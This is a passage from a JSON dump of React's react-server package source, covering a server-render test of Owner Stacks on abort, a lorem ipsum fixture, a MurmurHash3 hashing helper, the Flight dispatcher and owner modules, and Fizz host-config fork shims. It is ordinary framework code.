c === 'string' ? {text: c, hidden: false} : c,\n    );\n    return {type: 'div', children, prop: undefined, hidden: false};\n  }\n\n  it('can call render', () => {\n    const result = ReactNoopServer.render(<div>hello world</div>);\n    expect(result.root).toEqual(div('hello world'));\n  });\n\n  it('has Owner Stacks in DEV when aborted', async () => {\n    const Context = React.createContext(null);\n\n    function Component({p1, p2, p3}) {\n      const context = React.use(Context);\n      if (context === null) {\n        throw new Error('Missing context');\n      }\n      React.use(p1);\n      React.use(p2);\n      React.use(p3);\n      return <div>Hello, Dave!</div>;\n    }\n    function Indirection({p1, p2, p3}) {\n      return (\n        <div>\n          <Component p1={p1} p2={p2} p3={p3} />\n        </div>\n      );\n    }\n    function App({p1, p2, p3}) {\n      return (\n        <section>\n          <div>\n            <Indirection p1={p1} p2={p2} p3={p3} />\n          </div>\n        </section>\n      );\n    }\n\n    let caughtError;\n    let componentStack;\n    let ownerStack;\n    let task;\n    const resolvedPromise = Promise.resolve('one');\n    resolvedPromise.status = 'fulfilled';\n    resolvedPromise.value = 'one';\n    let resolvePendingPromise;\n    const pendingPromise = new Promise(resolve => {\n      resolvePendingPromise = value => {\n        pendingPromise.status = 'fulfilled';\n        pendingPromise.value = value;\n        resolve(value);\n      };\n    });\n    const hangingPromise = new Promise(() => {});\n    const result = ReactNoopServer.render(\n      <Context value=\"provided\">\n        <App p1={resolvedPromise} p2={pendingPromise} p3={hangingPromise} />\n      </Context>,\n      {\n        onError: (error, errorInfo) => {\n          caughtError = error;\n          componentStack = errorInfo.componentStack;\n          ownerStack = __DEV__ ? React.captureOwnerStack() : null;\n          task = currentTask.getStore();\n        },\n      },\n    );\n\n    await act(async () => {\n      resolvePendingPromise('two');\n      result.abort();\n    });\n    expect(caughtError).toEqual(\n      expect.objectContaining({\n        message: 'The render was aborted by the server without a reason.',\n      }),\n    );\n    expect(normalizeCodeLocInfo(componentStack)).toEqual(\n      '\\n    in Component (at **)' +\n        '\\n    in div' +\n        '\\n    in Indirection (at **)' +\n        '\\n    in div' +\n        '\\n    in section' +\n        '\\n    in App (at **)',\n    );\n    if (__DEV__) {\n      // The concrete location may change as this test is updated.\n      // Just make sure they still point at the same code\n      if (gate(flags => flags.enableAsyncDebugInfo)) {\n        expect(ignoreListStack(ownerStack)).toEqual(\n          '' +\n            // Pointing at React.use(p2)\n            '\\n    at Component (./ReactServer-test.js:94:13)' +\n            '\\n    at Indirection (./ReactServer-test.js:101:44)' +\n            '\\n    at App (./ReactServer-test.js:109:46)',\n        );\n      } else {\n        expect(ignoreListStack(ownerStack)).toEqual(\n          '' +\n            '\\n    at Indirection (./ReactServer-test.js:101:44)' +\n            '\\n    at App (./ReactServer-test.js:109:46)',\n        );\n      }\n      expect(task).toEqual('\\n<Component>');\n    } else {\n      expect(ownerStack).toBeNull();\n      expect(task).toEqual(undefined);\n    }\n  });\n});\n"
  },
  {
    "path": "packages/react-server/src/__tests__/test-file.txt",
    "content": "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed varius diam ut lectus suscipit, ac faucibus tellus fermentum. Phasellus rutrum bibendum tellus, eu malesuada metus dignissim sed. Pellentesque et quam libero. Donec ultricies massa vitae justo maximus, ultricies ultrices diam dictum. Ut in lectus non diam porttitor accumsan ac hendrerit tortor. Interdum et malesuada fames ac ante ipsum primis in faucibus. Donec a massa augue. Sed vitae purus id sapien luctus mattis. Maecenas imperdiet vehicula rhoncus.\n\nEtiam non tincidunt sapien, rhoncus fermentum ipsum. Cras id gravida felis. Phasellus finibus, mauris eu viverra auctor, augue tellus elementum sem, a vestibulum ligula purus vel erat. Nulla facilisi. Curabitur nulla ligula, viverra et elementum quis, sollicitudin sit amet nisl. Aenean vitae tortor mauris. Fusce iaculis risus eget lacus faucibus, quis congue dolor egestas. Integer viverra tellus tortor, vitae malesuada lorem ultricies vitae. Ut lacinia diam non ante pellentesque posuere. Suspendisse at posuere nunc, eget viverra elit. Vestibulum sit amet maximus lorem.\n\nProin fermentum lacus non convallis gravida. Morbi a blandit nisi. Nam posuere lacus vitae molestie aliquam. Cras enim orci, elementum et urna vel, vehicula gravida neque. Etiam quis odio at odio aliquet lobortis ac et sapien. Nulla commodo, ante eget sodales facilisis, magna elit pretium odio, a consectetur dui tortor at erat. Morbi quis laoreet metus. Sed iaculis sodales nisi, ut pharetra magna laoreet eu.\n\nIn iaculis, dolor quis consectetur fringilla, justo quam viverra turpis, eget dictum lectus nisl nec mi. Phasellus suscipit, leo ut tincidunt molestie, odio purus ornare ex, sagittis ornare erat nunc vel magna. Morbi malesuada risus nec turpis ultricies molestie dapibus nec justo. Vestibulum tempus bibendum purus, nec sodales libero convallis at. Fusce ipsum nibh, fringilla at sapien sit amet, malesuada suscipit lorem. Fusce et libero a dui gravida ultrices. Vestibulum quis lobortis velit. Morbi ut nisl lobortis, tempus sapien et, convallis mi. Integer varius, felis eu egestas dignissim, risus augue tristique elit, ultricies interdum arcu nibh et lectus. Integer enim mi, viverra eget scelerisque at, gravida eget justo. Nullam eget dolor id orci fringilla ultricies. In id luctus erat. Donec quis magna quis neque congue venenatis sit amet vel turpis. Donec congue tortor eu massa ullamcorper, ut imperdiet lectus posuere. Maecenas quis lorem quis nulla vehicula varius.\n\nSuspendisse tristique elit et luctus suscipit. Nunc quis justo luctus, malesuada velit vitae, accumsan tellus. Nunc ex sem, efficitur vitae semper et, consectetur quis turpis. Donec et tincidunt est, vitae varius sem. Aliquam at luctus dolor. Etiam pretium justo lectus, quis tempus quam feugiat ac. Suspendisse vitae sollicitudin erat, ut interdum felis. Cras lacinia tincidunt tempus. Vivamus congue et lectus quis suscipit. Fusce ultricies justo eget mi elementum, vitae consectetur lacus varius. Praesent fermentum in risus sit amet malesuada. Mauris semper sapien ornare pulvinar venenatis. Suspendisse potenti.\n\nDonec vestibulum purus et est cursus hendrerit. Vivamus pharetra ligula dolor, ut commodo felis accumsan sed. Integer pulvinar mollis metus, at cursus turpis laoreet ac. Maecenas lectus felis, dapibus eu ligula at, lacinia pharetra ex. Duis id tortor a metus pulvinar tincidunt. Suspendisse at lacus a nulla feugiat malesuada. Ut tincidunt interdum placerat. Fusce tincidunt elit in convallis elementum. Etiam commodo felis ut neque dapibus, ac finibus ante auctor. Sed tincidunt massa vitae sapien semper suscipit.\n\nDonec euismod sagittis lacus, eu lacinia tortor rutrum eu. Donec et sapien lacus. Aliquam non commodo magna, vitae commodo tortor. Vivamus vel urna eget ante varius condimentum. Etiam non purus pharetra, pharetra sem eu, maximus felis. Integer nec urna justo. Etiam a dolor tempor, posuere odio non, maximus metus. Vivamus malesuada mi libero, a viverra velit tempus vitae. Quisque accumsan sed nisi a venenatis. Donec malesuada erat at lacus tincidunt, sed euismod est ultricies. Fusce id posuere nisl. Aliquam erat volutpat. Morbi non erat iaculis turpis interdum facilisis. Nunc risus elit, laoreet quis ante sed, aliquam pharetra massa. Fusce cursus urna nec pharetra interdum.\n\nEtiam pharetra, metus nec malesuada efficitur, dui ipsum blandit felis, id cursus elit orci at eros. Phasellus suscipit lobortis est. Praesent egestas, est et scelerisque consectetur, neque velit dapibus elit, quis hendrerit nisi felis a nulla. Quisque facilisis rutrum varius. Integer quis libero sit amet erat tincidunt semper a vel quam. Curabitur rutrum fringilla consequat. Fusce in metus ut odio luctus viverra viverra et nulla. Vestibulum a lacinia augue, feugiat egestas diam. Proin elit arcu, venenatis quis elementum in, rutrum quis tortor. Integer vel lacus urna. Suspendisse pharetra sapien at ullamcorper hendrerit. Etiam nibh ipsum, vulputate eu pulvinar nec, pulvinar id odio.\n\nProin tincidunt, augue id tristique dictum, nisi sem congue orci, non faucibus erat nibh ac metus. Curabitur leo massa, hendrerit a venenatis sed, aliquam ac ligula. Fusce facilisis vulputate dui ut sollicitudin. Phasellus tellus lacus, viverra at dui sit amet, facilisis accumsan nisi. Phasellus dui lectus, lobortis consequat convallis sed, luctus non dui. Duis tempus urna sed libero ullamcorper, placerat luctus enim dignissim. Mauris vitae odio mauris. Donec eget tortor vitae nibh laoreet viverra at eget urna. Integer in ex arcu. Vestibulum tellus erat, tempus sit amet neque nec, tristique maximus neque. Vivamus efficitur nisi massa, ut tempus lacus interdum quis. Cras posuere erat nec convallis viverra. Aenean efficitur nibh et augue maximus pretium. Aliquam hendrerit nulla dui. Donec elit enim, hendrerit ultricies orci sed, blandit elementum quam.\n\nDonec fringilla pretium ligula, sed imperdiet orci mattis quis. Mauris ullamcorper fermentum libero fringilla molestie. Sed laoreet, nisl in viverra convallis, enim tortor tincidunt elit, in consequat diam metus non libero. Quisque eleifend lobortis lobortis. Donec porta eget justo faucibus sagittis. Phasellus lacus diam, convallis tristique metus at, placerat luctus justo. Fusce vestibulum urna eget dictum vulputate. Nam non nisl bibendum risus vehicula rutrum nec vel purus. Morbi nec diam laoreet quam sodales malesuada. Suspendisse efficitur, magna vel sodales semper, neque nulla aliquam nisi, hendrerit mollis justo libero vel mi.\n\nEtiam tellus neque, vulputate quis justo sit amet, dapibus suscipit est. Morbi pulvinar ipsum risus, eu lacinia felis viverra eget. Quisque massa justo, aliquam non ornare sit amet, maximus maximus dui. Pellentesque aliquam fermentum libero sed aliquet. Nulla consequat ultrices commodo. Donec condimentum consectetur nulla, id euismod metus facilisis eget. Fusce at mauris blandit, mollis ex nec, dignissim ex. Proin nec facilisis arcu. In vestibulum at erat vel ultrices. Mauris lacinia elementum nibh rhoncus egestas. Duis lobortis magna eget sem consequat, ac malesuada orci gravida. Duis cursus quam augue, a condimentum velit scelerisque eget. Donec dapibus pellentesque tellus. Nulla malesuada, purus id efficitur volutpat, felis odio faucibus metus, scelerisque hendrerit enim velit in urna.\n\nNulla massa felis, semper eget consectetur ac, scelerisque vitae mi. Praesent sit amet sagittis metus. Curabitur mollis ex quis erat faucibus mattis. Nullam risus lacus, suscipit sed luctus vel, dictum id odio. In et dictum elit. Aliquam quis consectetur metus. In feugiat, urna ac porttitor auctor, est arcu porta est, vel lobortis erat elit quis nunc. Nulla quis nibh vel sem fringilla semper sed quis ipsum. Morbi vehicula, urna non rhoncus hendrerit, velit purus accumsan purus, vel elementum arcu dui sit amet leo. Aenean ultricies orci ac ante placerat, id auctor magna sodales. Nam sit amet laoreet lectus. Etiam ligula velit, dignissim vel tincidunt at, dictum nec lacus. Nam non eleifend enim, sit amet dictum lectus. Suspendisse potenti. Suspendisse eget ante a mauris placerat lobortis sed eu dui.\n\nNam et porta elit, vel interdum mauris. Vivamus eu elit nec nisl bibendum hendrerit. Morbi ornare mollis lacus non finibus. Praesent id orci ex. Donec commodo viverra dictum. Phasellus in lacus tellus. Curabitur at lorem efficitur leo dignissim varius at eu est. Vivamus justo erat, hendrerit id volutpat nec, euismod eget odio. Mauris et vulputate tellus, in maximus nunc. Vestibulum ante ligula, suscipit nec nibh in, placerat pellentesque neque.\n\nNunc in accumsan ligula, quis accumsan diam. Fusce tincidunt neque a turpis ornare, id convallis quam convallis. Donec at luctus ipsum. Nam id enim ante. Fusce condimentum consectetur justo, in hendrerit lacus vehicula ut. Vestibulum ut hendrerit risus. Donec blandit ut magna eget aliquet. Donec sit amet faucibus ante. Suspendisse condimentum, mauris id aliquam ultricies, erat mi tincidunt eros, sit amet blandit urna purus vitae orci. Maecenas in faucibus ipsum, quis gravida ex. Sed tincidunt in ipsum id dignissim. Duis dui nisl, interdum at est non, rutrum porttitor felis. Sed at nibh dolor. Etiam cursus scelerisque leo.\n\nMorbi vel arcu ullamcorper, tristique eros sed, condimentum sapien. Duis suscipit consequat tincidunt. Proin commodo erat in velit cursus lobortis. Orci varius natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Pellentesque id metus luctus, commodo sapien iaculis, pharetra massa. Phasellus fringilla sagittis lacus, ac laoreet massa sollicitudin ac. Aliquam luctus ex non semper dictum. Morbi vel arcu vel purus aliquet tempus. Curabitur ultrices rutrum facilisis. Morbi enim lectus, ornare quis sem bibendum, aliquet imperdiet ex. Vestibulum commodo sed neque et fermentum. Vestibulum enim elit, lobortis vitae convallis ut, auctor in velit.\n\nVestibulum semper vulputate elit, at volutpat quam. Nullam id scelerisque libero, nec facilisis lacus. Nulla quis rhoncus arcu. Aliquam erat volutpat. In viverra, diam id rutrum volutpat, ligula dui tristique ex, et pulvinar elit ex a est. Cras magna augue, porta vel tempus vitae, placerat et felis. In ex elit, mattis vitae molestie pretium, tempus vitae tortor. Integer vehicula orci magna, in ultrices nulla volutpat sit amet. Pellentesque odio erat, hendrerit at lacinia sit amet, tempus sit amet risus. Curabitur ut laoreet justo, nec fermentum nibh. Integer tincidunt mattis sem eu cursus.\n"
  },
  {
    "path": "packages/react-server/src/createFastHashJS.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// A pure JS implementation of a string hashing function. We do not use it for\n// security or obfuscation purposes, only to create compact hashes. So we\n// prioritize speed over collision avoidance. For example, we use this to hash\n// the component key path used by useActionState for MPA-style submissions.\n//\n// In environments where built-in hashing functions are available, we prefer\n// those instead. Like Node's crypto module, or Bun.hash. Unfortunately this\n// does not include the web standard crypto API because those methods are all\n// async. For our purposes, we need it to be sync because the cost of context\n// switching is too high to be worth it.\n//\n// The most popular hashing algorithm that meets these requirements in the JS\n// ecosystem is MurmurHash3, and almost all implementations I could find used\n// some version of the implementation by Gary Court inlined below.\n\nexport function createFastHashJS(key: string): number {\n  return murmurhash3_32_gc(key, 0);\n}\n\n/* eslint-disable prefer-const, no-fallthrough */\n\n/**\n * @license\n *\n * JS Implementation of MurmurHash3 (r136) (as of May 20, 2011)\n *\n * Copyright (c) 2011 Gary Court\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n */\n\nfunction murmurhash3_32_gc(key: string, seed: number): number {\n  let remainder, bytes, h1, h1b, c1, c2, k1, i;\n\n  remainder = key.length & 3; // key.length % 4\n  bytes = key.length - remainder;\n  h1 = seed;\n  c1 = 0xcc9e2d51;\n  c2 = 0x1b873593;\n  i = 0;\n\n  while (i < bytes) {\n    k1 =\n      (key.charCodeAt(i) & 0xff) |\n      ((key.charCodeAt(++i) & 0xff) << 8) |\n      ((key.charCodeAt(++i) & 0xff) << 16) |\n      ((key.charCodeAt(++i) & 0xff) << 24);\n    ++i;\n\n    k1 =\n      ((k1 & 0xffff) * c1 + ((((k1 >>> 16) * c1) & 0xffff) << 16)) & 0xffffffff;\n    k1 = (k1 << 15) | (k1 >>> 17);\n    k1 =\n      ((k1 & 0xffff) * c2 + ((((k1 >>> 16) * c2) & 0xffff) << 16)) & 0xffffffff;\n\n    h1 ^= k1;\n    h1 = (h1 << 13) | (h1 >>> 19);\n    h1b =\n      ((h1 & 0xffff) * 5 + ((((h1 >>> 16) * 5) & 0xffff) << 16)) & 0xffffffff;\n    h1 = (h1b & 0xffff) + 0x6b64 + ((((h1b >>> 16) + 0xe654) & 0xffff) << 16);\n  }\n\n  k1 = 0;\n\n  switch (remainder) {\n    case 3:\n      k1 ^= (key.charCodeAt(i + 2) & 0xff) << 16;\n    case 2:\n      k1 ^= (key.charCodeAt(i + 1) & 0xff) << 8;\n    case 1:\n      k1 ^= key.charCodeAt(i) & 0xff;\n\n      k1 =\n        ((k1 & 0xffff) * c1 + ((((k1 >>> 16) * c1) & 0xffff) << 16)) &\n        0xffffffff;\n      k1 = (k1 << 15) | (k1 >>> 17);\n      k1 =\n        ((k1 & 0xffff) * c2 + ((((k1 >>> 16) * c2) & 0xffff) << 16)) &\n        0xffffffff;\n      h1 ^= k1;\n  }\n\n  h1 ^= key.length;\n\n  h1 ^= h1 >>> 16;\n  h1 =\n    ((h1 & 0xffff) * 0x85ebca6b +\n      ((((h1 >>> 16) * 0x85ebca6b) & 0xffff) << 16)) &\n    0xffffffff;\n  h1 ^= h1 >>> 13;\n  h1 =\n    ((h1 & 0xffff) * 0xc2b2ae35 +\n      ((((h1 >>> 16) * 0xc2b2ae35) & 0xffff) << 16)) &\n    0xffffffff;\n  h1 ^= h1 >>> 16;\n\n  return h1 >>> 0;\n}\n"
  },
  {
    "path": "packages/react-server/src/flight/ReactFlightAsyncDispatcher.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {AsyncDispatcher} from 'react-reconciler/src/ReactInternalTypes';\n\nimport {resolveRequest, getCache} from '../ReactFlightServer';\nimport {resolveOwner} from './ReactFlightCurrentOwner';\n\nfunction resolveCache(): Map<Function, mixed> {\n  const request = resolveRequest();\n  if (request) {\n    return getCache(request);\n  }\n  return new Map();\n}\n\nexport const DefaultAsyncDispatcher: AsyncDispatcher = ({\n  getCacheForType<T>(resourceType: () => T): T {\n    const cache = resolveCache();\n    let entry: T | void = (cache.get(resourceType): any);\n    if (entry === undefined) {\n      entry = resourceType();\n      // TODO: Warn if undefined?\n      cache.set(resourceType, entry);\n    }\n    return entry;\n  },\n  cacheSignal(): null | AbortSignal {\n    const request = resolveRequest();\n    if (request) {\n      return request.cacheController.signal;\n    }\n    return null;\n  },\n}: any);\n\nif (__DEV__) {\n  DefaultAsyncDispatcher.getOwner = resolveOwner;\n}\n"
  },
  {
    "path": "packages/react-server/src/flight/ReactFlightCurrentOwner.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactComponentInfo} from 'shared/ReactTypes';\n\nimport {\n  supportsComponentStorage,\n  componentStorage,\n} from '../ReactFlightServerConfig';\n\nlet currentOwner: ReactComponentInfo | null = null;\n\nexport function setCurrentOwner(componentInfo: null | ReactComponentInfo) {\n  currentOwner = componentInfo;\n}\n\nexport function resolveOwner(): null | ReactComponentInfo {\n  if (currentOwner) return currentOwner;\n  if (supportsComponentStorage) {\n    const owner = componentStorage.getStore();\n    if (owner) return owner;\n  }\n  return null;\n}\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactFizzConfig.custom.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This is a host config that's used for the `react-server` package on npm.\n// It is only used by third-party renderers.\n//\n// Its API lets you pass the host config as an argument.\n// However, inside the `react-server` we treat host config as a module.\n// This file is a shim between two worlds.\n//\n// It works because the `react-server` bundle is wrapped in something like:\n//\n// module.exports = function ($$$config) {\n//   /* renderer code */\n// }\n//\n// So `$$$config` looks like a global variable, but it's\n// really an argument to a top-level wrapping function.\n\nimport type {Request} from 'react-server/src/ReactFizzServer';\nimport type {TransitionStatus} from 'react-reconciler/src/ReactFiberConfig';\n\ndeclare const $$$config: any;\nexport opaque type Destination = mixed;\nexport opaque type RenderState = mixed;\nexport opaque type HoistableState = mixed;\nexport opaque type ResumableState = mixed;\nexport opaque type PreambleState = mixed;\nexport opaque type FormatContext = mixed;\nexport opaque type HeadersDescriptor = mixed;\nexport type {TransitionStatus};\n\nexport const isPrimaryRenderer = false;\n\nexport const supportsClientAPIs = true;\n\nexport const supportsRequestStorage = false;\nexport const requestStorage: AsyncLocalStorage<Request | void> = (null: any);\n\nexport const bindToConsole = $$$config.bindToConsole;\n\nexport const resetResumableState = $$$config.resetResumableState;\nexport const completeResumableState = $$$config.completeResumableState;\nexport const getChildFormatContext = $$$config.getChildFormatContext;\nexport const getSuspenseFallbackFormatContext =\n  $$$config.getSuspenseFallbackFormatContext;\nexport const getSuspenseContentFormatContext =\n  $$$config.getSuspenseContentFormatContext;\nexport const getViewTransitionFormatContext =\n  $$$config.getViewTransitionFormatContext;\nexport const makeId = $$$config.makeId;\nexport const pushTextInstance = $$$config.pushTextInstance;\nexport const pushStartInstance = $$$config.pushStartInstance;\nexport const pushEndInstance = $$$config.pushEndInstance;\nexport const pushSegmentFinale = $$$config.pushSegmentFinale;\nexport const pushFormStateMarkerIsMatching =\n  $$$config.pushFormStateMarkerIsMatching;\nexport const pushFormStateMarkerIsNotMatching =\n  $$$config.pushFormStateMarkerIsNotMatching;\nexport const writeCompletedRoot = $$$config.writeCompletedRoot;\nexport const writePlaceholder = $$$config.writePlaceholder;\nexport const pushStartActivityBoundary = $$$config.pushStartActivityBoundary;\nexport const pushEndActivityBoundary = $$$config.pushEndActivityBoundary;\nexport const writeStartCompletedSuspenseBoundary =\n  $$$config.writeStartCompletedSuspenseBoundary;\nexport const writeStartPendingSuspenseBoundary =\n  $$$config.writeStartPendingSuspenseBoundary;\nexport const writeStartClientRenderedSuspenseBoundary =\n  $$$config.writeStartClientRenderedSuspenseBoundary;\nexport const writeEndCompletedSuspenseBoundary =\n  $$$config.writeEndCompletedSuspenseBoundary;\nexport const writeEndPendingSuspenseBoundary =\n  $$$config.writeEndPendingSuspenseBoundary;\nexport const writeEndClientRenderedSuspenseBoundary =\n  $$$config.writeEndClientRenderedSuspenseBoundary;\nexport const writeStartSegment = $$$config.writeStartSegment;\nexport const writeEndSegment = $$$config.writeEndSegment;\nexport const writeCompletedSegmentInstruction =\n  $$$config.writeCompletedSegmentInstruction;\nexport const writeCompletedBoundaryInstruction =\n  $$$config.writeCompletedBoundaryInstruction;\nexport const writeClientRenderBoundaryInstruction =\n  $$$config.writeClientRenderBoundaryInstruction;\nexport const NotPendingTransition = $$$config.NotPendingTransition;\nexport const createPreambleState = $$$config.createPreambleState;\nexport const canHavePreamble = $$$config.canHavePreamble;\nexport const isPreambleContext = $$$config.isPreambleContext;\nexport const isPreambleReady = $$$config.isPreambleReady;\nexport const hoistPreambleState = $$$config.hoistPreambleState;\n\n// -------------------------\n//     Resources\n// -------------------------\nexport const writePreambleStart = $$$config.writePreambleStart;\nexport const writePreambleEnd = $$$config.writePreambleEnd;\nexport const writeHoistables = $$$config.writeHoistables;\nexport const writeHoistablesForBoundary = $$$config.writeHoistablesForBoundary;\nexport const writePostamble = $$$config.writePostamble;\nexport const hoistHoistables = $$$config.hoistHoistables;\nexport const createHoistableState = $$$config.createHoistableState;\nexport const hasSuspenseyContent = $$$config.hasSuspenseyContent;\nexport const emitEarlyPreloads = $$$config.emitEarlyPreloads;\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactFizzConfig.dom-edge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport type {Request} from 'react-server/src/ReactFizzServer';\n\nexport * from 'react-dom-bindings/src/server/ReactFizzConfigDOM';\n\nexport * from 'react-client/src/ReactClientConsoleConfigServer';\n\n// For now, we get this from the global scope, but this will likely move to a module.\nexport const supportsRequestStorage = typeof AsyncLocalStorage === 'function';\nexport const requestStorage: AsyncLocalStorage<Request | void> =\n  supportsRequestStorage ? new AsyncLocalStorage() : (null: any);\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactFizzConfig.dom-legacy.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport type {Request} from 'react-server/src/ReactFizzServer';\n\nexport * from 'react-dom-bindings/src/server/ReactFizzConfigDOMLegacy';\n\nexport * from 'react-client/src/ReactClientConsoleConfigPlain';\n\nexport const supportsRequestStorage = false;\nexport const requestStorage: AsyncLocalStorage<Request | void> = (null: any);\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactFizzConfig.dom-node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {AsyncLocalStorage} from 'async_hooks';\n\nimport type {Request} from 'react-server/src/ReactFizzServer';\n\nexport * from 'react-dom-bindings/src/server/ReactFizzConfigDOM';\n\nexport * from 'react-client/src/ReactClientConsoleConfigServer';\n\nexport const supportsRequestStorage = true;\nexport const requestStorage: AsyncLocalStorage<Request | void> =\n  new AsyncLocalStorage();\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactFizzConfig.dom.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport type {Request} from 'react-server/src/ReactFizzServer';\n\nexport * from 'react-dom-bindings/src/server/ReactFizzConfigDOM';\n\nexport * from 'react-client/src/ReactClientConsoleConfigBrowser';\n\nexport const supportsRequestStorage = false;\nexport const requestStorage: AsyncLocalStorage<Request | void> = (null: any);\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactFizzConfig.markup.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport type {Request} from 'react-server/src/ReactFizzServer';\n\nexport * from 'react-markup/src/ReactFizzConfigMarkup.js';\n\nexport * from 'react-client/src/ReactClientConsoleConfigPlain';\n\nexport const supportsRequestStorage = false;\nexport const requestStorage: AsyncLocalStorage<Request | void> = (null: any);\n"
  },
  {
    "path": "packages/react-server/src/forks/ReactFizzConfig.noop.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This is a host config that's used for the `react-server` package on npm.\n// It is only used by third-party renderers.\n//\n// Its API lets you pass the host config as an argument.\n// However, inside the `react-server` we treat host config as a module.\n// This file is a shim between two worlds.\n//\n// It works because the `react-server` bundle is wrapped in something like:\n//\n// module.exports = function ($$$config) {\n//   /* renderer code */\n// }\n//\n// So `$$$config` looks like a global variable, but it's\n// really an argument to a top-level wrapping function.\n\nimport type {Request} from 'react-server/src/ReactFizzServer';\nimport type {TransitionStatus} from 'react-reconciler/src/ReactFiberConfig';\n\ndeclare const $$$config: $FlowFixMe;\nexport opaque type Destination = mixed;\nexport opaque type RenderState = mixed;\nexport opaque type HoistableState = mixed;\nexport opaque type ResumableState = mixed;\nexport opaque type PreambleState = mixed;\nexport opaque type FormatContext = mixed;\nexport opaque type HeadersDescriptor = mixed;\nexport type {TransitionStatus};\n\nexport const isPrimaryRenderer = false;\n\nexport const supportsClientAPIs = true;\n\nexport const supportsRequestStorage = false;\nexport const requestStorage: AsyncLocalStorage<Request | void> = (null: any);\n\nexport const bindToConsole = $$$config.bindToConsole;\n\nexport const resetResumableState = $$$config.resetResumableState;\nexport const completeResumableState = $$$config.completeResumableState;\nexport const getChildFormatContext = $$$config.getChildFormatContext;\nexport const getSuspenseFallbackFormatContext =\n  $$$config.getSuspenseFallbackFormatContext;\nexport const getSuspenseContentFormatContext =\n  $$$config.getSuspenseContentFormatContext;\nexport const getViewTransitionFormatContext =\n  $$$config.getViewTransitionFormatContext;\nexport const makeId = $$$config.makeId;\nexport const pushTextInstance = $$$config.pushTextInstance;\nexport const pushStartInstance = $$$config.pushStartInstance;\nexport const pushEndInstance = $$$config.pushEndInstance;\nexport const pushSegmentFinale = $$$config.pushSegmentFinale;\nexport const pushFormStateMarkerIsMatching =\n  $$$config.pushFormStateMarkerIsMatching;\nexport const pushFormStateMarkerIsNotMatching =\n  $$$config.pushFormStateMarkerIsNotMatching;\nexport const writeCompletedRoot = $$$config.writeCompletedRoot;\nexport const writePlaceholder = $$$config.writePlaceholder;\nexport const pushStartActivityBoundary = $$$config.pushStartActivityBoundary;\nexport const pushEndActivityBoundary = $$$config.pushEndActivityBoundary;\nexport const writeStartCompletedSuspenseBoundary =\n  $$$config.writeStartCompletedSuspenseBoundary;\nexport const writeStartPendingSuspenseBoundary =\n  $$$config.writeStartPendingSuspenseBoundary;\nexport const writeStartClientRenderedSuspenseBoundary =\n  $$$config.writeStartClientRenderedSuspenseBoundary;\nexport const writeEndCompletedSuspenseBoundary =\n  $$$config.writeEndCompletedSuspenseBoundary;\nexport const writeEndPendingSuspenseBoundary =\n  $$$config.writeEndPendingSuspenseBoundary;\nexport const writeEndClientRenderedSuspenseBoundary =\n  $$$config.writeEndClientRenderedSuspenseBoundary;\nexport const writeStartSegment = $$$config.writeStartSegment;\nexport const writeEndSegment = $$$config.writeEndSegment;\nexport const writeCompletedSegmentInstruction =\n  $$$config.writeCompletedSegmentInstruction;\nexport const writeCompletedBoundaryInstruction =\n  $$$config.writeCompletedBoundaryInstruction;\nexport const writeClientRenderBoundaryInstruction =\n  $$$config.writeClientRenderBoundaryInstruction;\nexport const NotPendingTransition = $$$config.NotPendingTransition;\nexport const createPreambleState = $$$config.createPreambleState;\nexport const 